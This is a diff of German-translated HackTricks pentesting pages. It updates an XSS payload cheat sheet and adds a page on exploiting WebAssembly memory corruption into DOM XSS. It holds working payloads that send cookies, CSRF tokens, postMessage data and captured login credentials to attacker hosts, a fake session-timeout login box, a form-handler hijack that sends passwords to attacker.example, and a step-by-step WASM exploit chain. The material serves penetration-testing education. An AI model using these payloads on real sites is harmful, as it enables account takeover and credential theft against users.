@ -1095,7 +1108,7 @@ trigger()
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
- [http://www.jsfuck.com/](http://www.jsfuck.com)
- Mehr ausgefeilte JSFuck-Methoden: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- Weitergehende JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
- [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
- [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
@ -1269,7 +1282,7 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## Häufige XSS payloads
## XSS häufige payloads
### Mehrere payloads in 1
@ -1278,16 +1291,16 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
steal-info-js.md
{{#endref}}
### Iframe Trap
### Iframe-Falle
Lässt den Benutzer auf der Seite navigieren, ohne das iframe zu verlassen, und stiehlt seine Aktionen (einschließlich in Formularen gesendeter Informationen):
Bringt den Benutzer dazu, auf der Seite zu navigieren, ohne das iframe zu verlassen, und stiehlt seine Aktionen (einschließlich in Formularen gesendeter Informationen):
{{#ref}}
../iframe-traps.md
{{#endref}}
### Cookies abrufen
### Cookies auslesen
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1310,7 +1323,7 @@ Lässt den Benutzer auf der Seite navigieren, ohne das iframe zu verlassen, und
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!TIP]
> Du **wirst nicht in der Lage sein, auf die cookies aus JavaScript zuzugreifen**, wenn das HTTPOnly flag im cookie gesetzt ist. Aber hier findest du [einige Wege, diesen Schutz zu umgehen](../hacking-with-cookies/index.html#httponly), wenn du genug Glück hast.
> Du **kannst von JavaScript aus nicht auf die cookies zugreifen**, wenn das HTTPOnly flag im cookie gesetzt ist. Aber hier hast du [einige Möglichkeiten, diesen Schutz zu umgehen](../hacking-with-cookies/index.html#httponly), wenn du Glück hast.
### Seiteninhalt stehlen
```javascript
@ -1401,15 +1414,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Kurze Zeiten deuten auf einen antwortenden Port hin_ _Längere Zeiten deuten auf keine Antwort hin._
_Kurze Zeiten zeigen einen antwortenden port an_ _Längere Zeiten zeigen keine Antwort an._
Überprüfe die Liste der in Chrome gesperrten Ports [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) und in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
Überprüfe die Liste der in Chrome gesperrten ports [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Box zum Anfordern von Zugangsdaten
### Box zum Abfragen von credentials
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Auto-fill-Passwörter erfassen
### Auto-fill passwords abfangen
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1420,11 +1433,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Wenn beliebige Daten in das Passwortfeld eingegeben werden, werden Benutzername und Passwort an den Server des Angreifers gesendet; selbst wenn der Client ein gespeichertes Passwort auswählt und nichts eintippt, werden die credentials ex-filtrated.
Wenn Daten in das password-Feld eingegeben werden, werden username und password an den attackers server gesendet; selbst wenn der client ein saved password auswählt und nichts eingibt, werden die credentials ex-filtrated.
### Hijack form handlers to exfiltrate credentials (const shadowing)
Wenn ein kritischer Handler (z. B. `function DoLogin(){...}`) später auf der Seite deklariert wird und dein payload früher ausgeführt wird (z. B. via an inline JS-in-JS sink), definiere zuerst ein `const` mit demselben Namen, um den Handler vorwegzunehmen und zu sperren. Spätere Funktionsdeklarationen können einen `const`-Namen nicht neu binden, wodurch dein Hook die Kontrolle behält:
Wenn ein kritischer handler (z. B. `function DoLogin(){...}`) später auf der Seite deklariert wird und dein payload früher ausgeführt wird (z. B. über einen inline JS-in-JS sink), definiere zuerst ein `const` mit demselben Namen, um den handler vorzubeugen und zu sperren. Spätere function declarations können einen `const`-Namen nicht neu binden, sodass dein hook die Kontrolle behält:
```javascript
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
@ -1433,18 +1446,18 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
};
```
Hinweise
- Dies hängt von der Ausführungsreihenfolge ab: Ihre injection muss vor der legitimen Deklaration ausgeführt werden.
- Wenn Ihr payload in `eval(...)` eingebettet ist, werden `const/let`-Bindings nicht zu globals. Verwenden Sie die dynamische `<script>`-Injection-Technik aus dem Abschnitt “Deliverable payloads with eval(atob()) and scope nuances”, um ein echtes globales, nicht neu-bindbares Binding sicherzustellen.
- Wenn Keyword-Filter Code blockieren, kombinieren Sie dies mit Unicode-escaped identifiers oder `eval(atob('...'))`-Delivery, wie oben gezeigt.
- This relies on execution order: your injection must execute before the legitimate declaration.
- Wenn dein Payload in `eval(...)` eingebettet ist, werden `const/let`-Bindungen nicht zu globals. Verwende die dynamische `<script>` injection technique aus dem Abschnitt “Deliverable payloads with eval(atob()) and scope nuances”, um eine echte globale, non-rebindable binding sicherzustellen.
- When keyword filters block code, combine with Unicode-escaped identifiers or `eval(atob('...'))` delivery, as shown above.
### Keylogger
Bei einer Suche auf github habe ich einige verschiedene gefunden:
Bei einer Suche in github habe ich ein paar verschiedene gefunden:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- Sie können auch metasploit `http_javascript_keylogger` verwenden
- Du kannst auch metasploit `http_javascript_keylogger` verwenden
### Stealing CSRF tokens
```javascript
@ -1461,7 +1474,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```
### PostMessage-Nachrichten stehlen
### PostMessage-Nachrichten abfangen
```html
<img src="https://attacker.com/?" id=message>
<script>
@ -1559,7 +1572,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
```
### Regex - Zugriff auf versteckte Inhalte
Aus [**diesem Writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) lässt sich lernen, dass selbst wenn einige Werte aus JS verschwinden, man sie dennoch in JS-Attributen verschiedener Objekte finden kann. Zum Beispiel kann eine Eingabe eines REGEX weiterhin gefunden werden, nachdem der Wert der Regex-Eingabe entfernt wurde:
Aus [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) lässt sich lernen, dass selbst wenn einige Werte aus JS verschwinden, sie immer noch in JS-Attributen in verschiedenen Objekten gefunden werden können. Zum Beispiel kann eine Eingabe eines REGEX noch gefunden werden, nachdem der Wert der Eingabe des Regex entfernt wurde:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1583,11 +1596,11 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS Ausnutzung anderer Schwachstellen
## XSS Ausnutzen anderer Schwachstellen
### XSS in Markdown
Kann man Markdown-Code injizieren, der gerendert wird? Vielleicht kannst du XSS bekommen! Siehe:
Kann man Markdown-Code injizieren, der gerendert wird? Vielleicht kannst du so XSS erreichen! Sieh dir an:
{{#ref}}
@ -1596,23 +1609,24 @@ xss-in-markdown.md
### XSS zu SSRF
Hast du XSS auf einer Site, die Caching verwendet? Versuche, das auf SSRF zu upgraden mittels Edge Side Include Injection mit diesem payload:
Hast du XSS auf einer **site, die Caching verwendet**? Versuche, das **zu SSRF aufzuwerten** durch Edge Side Include Injection mit diesem payload:
```python
<esi:include src="http://yoursite.com/capture" />
```
Use it to bypass cookie restrictions, XSS filters and much more!\
Verwende es, um cookie-Einschränkungen, XSS-Filter und vieles mehr zu umgehen!\
Mehr Informationen zu dieser Technik hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS in dynamically erzeugtem PDF
### XSS in dynamisch erstelltem PDF
Wenn eine Webseite ein PDF unter Verwendung von user controlled input erstellt, kannst du versuchen, den **bot zu täuschen**, der das PDF erstellt, damit er **beliebigen JS-Code ausführt**.\
Wenn der **PDF creator bot** irgendeine Art von **HTML** **tags** findet, wird er diese **interpretieren**, und du kannst dieses Verhalten **missbrauchen**, um ein **Server XSS** zu verursachen.
Wenn eine Webseite ein PDF aus nutzergesteuerten Eingaben erstellt, kannst du versuchen, den Bot, der das PDF erstellt, zu **täuschen**, sodass er **beliebigen JS-Code ausführt**.\
Wenn der **PDF-Creator-Bot findet** irgendwelche **HTML** **tags**, wird er diese **interpretieren**, und du kannst dieses Verhalten **missbrauchen**, um ein **Server XSS** zu verursachen.
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
Wenn du keine HTML tags injizieren kannst, kann es sich lohnen, zu versuchen, **PDF-Daten zu injizieren**:
Wenn du keine HTML tags injizieren kannst, könnte es sich lohnen, zu versuchen, **inject PDF data**:
{{#ref}}
@ -1621,13 +1635,13 @@ pdf-injection.md
### XSS in Amp4Email
AMP, das darauf abzielt, die Leistung von Webseiten auf mobilen Geräten zu beschleunigen, verwendet HTML tags ergänzt durch JavaScript, um Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Features, die über [AMP components](https://amp.dev/documentation/components/?format=websites) zugänglich sind.
AMP, das darauf abzielt, die Performance von Webseiten auf mobilen Geräten zu beschleunigen, verwendet HTML tags, ergänzt durch JavaScript, um Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Funktionen, zugänglich über [AMP components](https://amp.dev/documentation/components/?format=websites).
Das [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) Format erweitert bestimmte AMP-Komponenten für E-Mails und ermöglicht Empfängern, direkt innerhalb ihrer E-Mails mit Inhalten zu interagieren.
Das [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) Format erweitert bestimmte AMP components auf E-Mails, sodass Empfänger direkt innerhalb ihrer E-Mails mit dem Inhalt interagieren können.
Beispiel: [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
Beispiel [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS uploading files (svg)
### XSS beim Hochladen von Dateien (svg)
Lade als Bild eine Datei wie die folgende hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
@ -1687,7 +1701,7 @@ id="foo"/>
```
Finde **mehr SVG payloads auf** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Verschiedene JS-Tricks & Relevante Infos
## Verschiedene JS-Tricks & relevante Infos
{{#ref}}

133
src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md Normal file
View File

@ -0,0 +1,133 @@
# WebAssembly linear memory corruption to DOM XSS (template overwrite)
{{#include ../../banners/hacktricks-training.md}}
Diese Technik zeigt, wie ein Speicherkorruptionsfehler in einem mit Emscripten kompilierten WebAssembly (WASM)-Modul selbst dann in einen zuverlässigen DOM XSS verwandelt werden kann, wenn Eingaben bereinigt sind. Der Dreh- und Angelpunkt ist, beschreibbare Konstanten in der WASM linear memory (z. B. HTML-Formatvorlagen) zu korruptieren, anstatt den bereinigten Quellstring anzugreifen.
Key idea: In the WebAssembly model, code lives in non-writable executable pages, but the module’s data (heap/stack/globals/"constants") live in a single flat linear memory (pages of 64KB) that is writable by the module. If buggy C/C++ code writes out-of-bounds, you can overwrite adjacent objects and even constant strings embedded in linear memory. When such a constant is later used to build HTML for insertion via a DOM sink, you can turn sanitized input into executable JavaScript.
Bedrohungsmodell und Voraussetzungen
- Die Web-App verwendet Emscripten glue (Module.cwrap), um ein WASM-Modul aufzurufen.
- Der Anwendungszustand liegt in der WASM linear memory (z. B. C structs mit pointers/lengths zu user buffers).
- Ein Input-Sanitizer kodiert Metazeichen vor der Speicherung, aber die spätere Darstellung erzeugt HTML mithilfe eines format string, der in der WASM linear memory gespeichert ist.
- Es existiert eine Primitive zur Korruption der WASM linear memory (z. B. heap overflow, UAF oder unchecked memcpy).
Minimal anfälliges Datenmodell (Beispiel)
```c
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
```
Verwundbares Logikmuster
- addMsg(): weist einen neuen Buffer zu, der an die sanitisierten Eingabedaten angepasst ist, und hängt ein msg an s.mess an, wobei bei Bedarf die Kapazität mit realloc verdoppelt wird.
- editMsg(): re-sanitisiert und kopiert mit memcpy die neuen Bytes in den bestehenden Buffer, ohne sicherzustellen, dass die neue Länge ≤ alte Allokation → intra-linear-memory heap overflow.
- populateMsgHTML(): formatiert den sanitisierten Text mit einem eingebetteten Stub wie "<article><p>%.*s</p></article>" der im linear memory liegt. Das zurückgegebene HTML landet in einer DOM sink (z. B. innerHTML).
Allocator grooming with realloc()
```c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
```
- Nach Wachstum platziert realloc() häufig s->mess unmittelbar nach dem letzten Benutzerpuffer im linearen Speicher.
- Überlaufe die letzte Nachricht via editMsg(), um Felder innerhalb von s->mess zu clobbern (z. B. msg_data-Pointer zu überschreiben) → beliebige Pointer-Überschreibung innerhalb des linearen Speichers für später gerenderte Daten.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Sanitization schützt die Eingabe, nicht die Sinks. Finde das Format-Stub, das von populateMsgHTML() verwendet wird, z. B.:
- "<article><p>%.*s</p></article>" → ändere zu "<img src=1 onerror=%.*s>"
- Lokalisieren das Stub deterministisch durch Scannen des linearen Speichers; es ist ein einfacher Byte-String innerhalb von Module.HEAPU8.
- Nachdem du das Stub überschrieben hast, wird der bereinigte Nachrichteninhalt zum JavaScript-Handler für onerror, sodass das Hinzufügen einer neuen Nachricht mit Text wie alert(1337) zu <img src=1 onerror=alert(1337)> führt und sofort im DOM ausgeführt wird.
Chrome DevTools workflow (Emscripten glue)
- Setze einen Breakpoint auf den ersten Module.cwrap call im JS glue und steige in die wasm call site ein, um Pointer-Argumente abzufangen (numerische Offsets im linearen Speicher).
- Verwende typed views wie Module.HEAPU8, um WASM-Speicher aus der Konsole zu lesen/schreiben.
- Hilfreiche Snippets:
```javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
```
End-to-end exploitation recipe
1) Groom: Füge N kleine Nachrichten hinzu, um realloc() auszulösen. Stelle sicher, dass s->mess an einen user buffer angrenzt.
2) Overflow: Rufe editMsg() für die letzte Nachricht mit einer längeren Nutzlast auf, um einen Eintrag in s->mess zu überschreiben und msg_data von Nachricht 0 so zu setzen, dass es auf (stub_addr + 1) zeigt. Das +1 überspringt das führende '<', um die Tag-Ausrichtung bei der nächsten Änderung intakt zu halten.
3) Template rewrite: Editiere Nachricht 0 so, dass ihre Bytes die template mit: "img src=1 onerror=%.*s " überschreiben.
4) Trigger XSS: Füge eine neue Nachricht hinzu, deren bereinigter Inhalt JavaScript ist, z. B. alert(1337). Das Rendering gibt <img src=1 onerror=alert(1337)> aus und führt es aus.
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
```json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
```
Warum dieser Bypass funktioniert
- WASM verhindert Codeausführung aus linear memory, aber konstante Daten innerhalb der linear memory sind beschreibbar, wenn die Programmlogik fehlerhaft ist.
- Der Sanitizer schützt nur den Quellstring; indem man den sink (die HTML template) korrumpiert, wird die gesäuberte Eingabe zum JS-Handler-Wert und ausgeführt, wenn sie in das DOM eingefügt wird.
- Durch realloc()-getriebene Adjazenz plus unkontrolliertes memcpy in Edit-Flows kann Pointer-Korruption Schreibvorgänge auf angreifergewählte Adressen innerhalb der linear memory umleiten.
Generalisierung und weitere Angriffsflächen
- Jede in-memory gespeicherte HTML template, JSON skeleton oder URL pattern, die in die linear memory eingebettet ist, kann zum Ziel werden, um zu verändern, wie gesäuberte Daten nachgelagert interpretiert werden.
- Weitere gängige WASM-Fallen: out-of-bounds writes/reads in linear memory, UAF bei Heap-Objekten, function-table misuse mit ungeprüften indirekten Call-Indizes und JS↔WASM glue mismatches.
Defensive Hinweise
- In Edit-Pfaden die neue Länge ≤ Kapazität überprüfen; Puffer vor dem Kopieren neu dimensionieren (realloc auf new_len) oder größenbegrenzte APIs verwenden (snprintf/strlcpy) und die Kapazität nachverfolgen.
- Unveränderliche Templates außerhalb beschreibbarer linear memory halten oder ihre Integrität vor der Nutzung prüfen.
- Behandle JS↔WASM-Grenzen als untrusted: Pointer-Bereiche/Längen validieren, exportierte Schnittstellen fuzzen und Memory-Wachstum begrenzen.
- Sanitize am sink: vermeide das Erzeugen von HTML in WASM; bevorzuge sichere DOM-APIs gegenüber innerHTML-style templating.
- Vertraue nicht auf URL-embedded state für privilegierte Flows.
## Referenzen
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
{{#include ../../banners/hacktricks-training.md}}